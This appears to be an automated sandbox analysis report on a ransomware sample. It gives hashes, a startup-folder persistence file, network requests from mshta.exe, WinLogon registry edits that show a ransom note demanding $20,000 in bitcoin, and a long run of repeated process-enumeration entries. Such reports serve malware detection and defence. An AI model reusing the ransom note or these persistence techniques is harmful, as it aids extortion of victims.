Analysis
- max time kernel
81s - max time network
142s - platform
windows10_x64 - resource
win10v200430 - submitted
10/07/2020, 06:52
Static task
static1
Behavioral task
behavioral1
Sample
safeboot network ransomware.exe
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
safeboot network ransomware.exe
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
- Target safeboot network ransomware.exe
- Size 82KB
- Sample200710-1zccsdj7qa
- SHA256 58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f
- MD5 e01e11dca5e8b08fc8231b1cb6e2048c
- SHA1 4983d07f004436caa3f10b38adacbba6a4ede01a
- SHA512 298bfb9fe55ddd80f1c6671622d7e9e865899a855b5bb8e0d85d8520160cedca6fd8bc72c9881925477bcab883bf6e6f4c69f997b774b74fe992e023a81269de
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe - Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk safeboot network ransomware.exe - Executes dropped EXE 1 IoCs
pid Process 3796 gvx4wrbz.exe - Blacklisted process makes network request 3 IoCs
flow pid Process 19 4868 mshta.exe 21 4868 mshta.exe 23 4868 mshta.exe - Modifies WinLogon 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "Information..." safeboot network ransomware.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "Your Files are Encrypted.\r\n\r\nDon’t worry, you can return all your files!\r\n\r\nYou've got 48 hours(2 Days), before you lost your files forever.\r\nI will treat you good if you treat me good too.\r\n\r\nThe Price to get all things to the normal : 20,000$\r\nMy BTC Wallet ID :\r\n1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9\r\n\r\nContact :\r\[email protected]\r\n" safeboot network ransomware.exe - Suspicious behavior: EnumeratesProcesses 3067 IoCs
pid Process 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 652 powershell.exe 652 powershell.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 652 powershell.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 